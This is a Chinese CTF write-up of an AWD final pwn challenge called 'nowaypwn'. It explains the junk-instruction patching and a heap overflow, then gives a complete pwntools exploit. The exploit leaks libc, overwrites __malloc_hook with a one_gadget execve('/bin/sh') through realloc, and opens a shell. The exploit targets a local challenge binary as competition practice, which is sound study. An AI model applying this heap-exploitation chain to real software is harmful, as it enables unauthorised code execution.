决赛是早上 4 小时 awd ,下午 4 小时仿真环境渗透。

awd pwn 题目进入菜单的 xtea 加密确实头大,获取密码之后就是一个堆溢出。。。

这题也是 2021 xman 选拔赛的题目,题目名字都没有改一下。。。唯一改动是将密码换了一下,后悔当时没有复现这题了

程序里面的花指令,全部用 nop patch

1
2
3
call $+5
add [rsp+68h+var_68], 6
retn

size 是 0x66 就可以溢出了:

image-20211021222824429

最后需要用 realloc 调整一下栈帧才能 getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from pwn import *
context.log_level = 'debug'

def add(size):
p.sendline("1")
p.sendline(str(size))
def delete(id):
p.sendline("2")
p.sendline(str(id))
def edit(id,content):
p.sendline("3")
p.sendline(str(id))
p.send(content)
sleep(0.2)
def show(id):
p.sendline("4")
p.sendline(str(id))
def overflow(id,content):
p.sendline("3")
p.sendline(str(id))
p.sendline("skye")
p.send(content)


p = process("./nowaypwn")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

p.sendlineafter("name:","skye")
p.sendlineafter("key:","skye")
p.sendlineafter("password!:\n","skdmaje1")

add(0x66)
add(0xf8)
add(0x66)
add(0x66)
add(0x66)
delete(1)
overflow(0,'a'*0x70)
show(0)
p.recvuntil('a'*0x70)
leak_addr = u64(p.recv(6).ljust(8,'\x00'))
print "leak_addr:",hex(leak_addr)
libc_addr = leak_addr - (0x7ffff7dd1b78-0x7ffff7a0d000)
print "libc_addr:",hex(libc_addr)
malloc_hook = libc_addr + libc.sym['__malloc_hook']-0x23
print "malloc_hook:",hex(malloc_hook)
realloc = libc_addr + libc.sym['realloc']
print "realloc:",hex(realloc)
overflow(0,'b'*0x60+p64(0)+p64(0x101))
add(0xf8)

delete(3)
overflow(2,'a'*0x70+p64(malloc_hook))
overflow(2,'a'*0x60+p64(0)+p64(0x70))
add(0x66)
add(0x66)
edit(5,'a'*0xb+p64(libc_addr+0x4527a)+p64(realloc+4)+'\n')


'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''


#gdb.attach(p,"b *0x4009F1")
#raw_input()

add(0x10)
add(0x10)
#p.sendline('id')


p.interactive()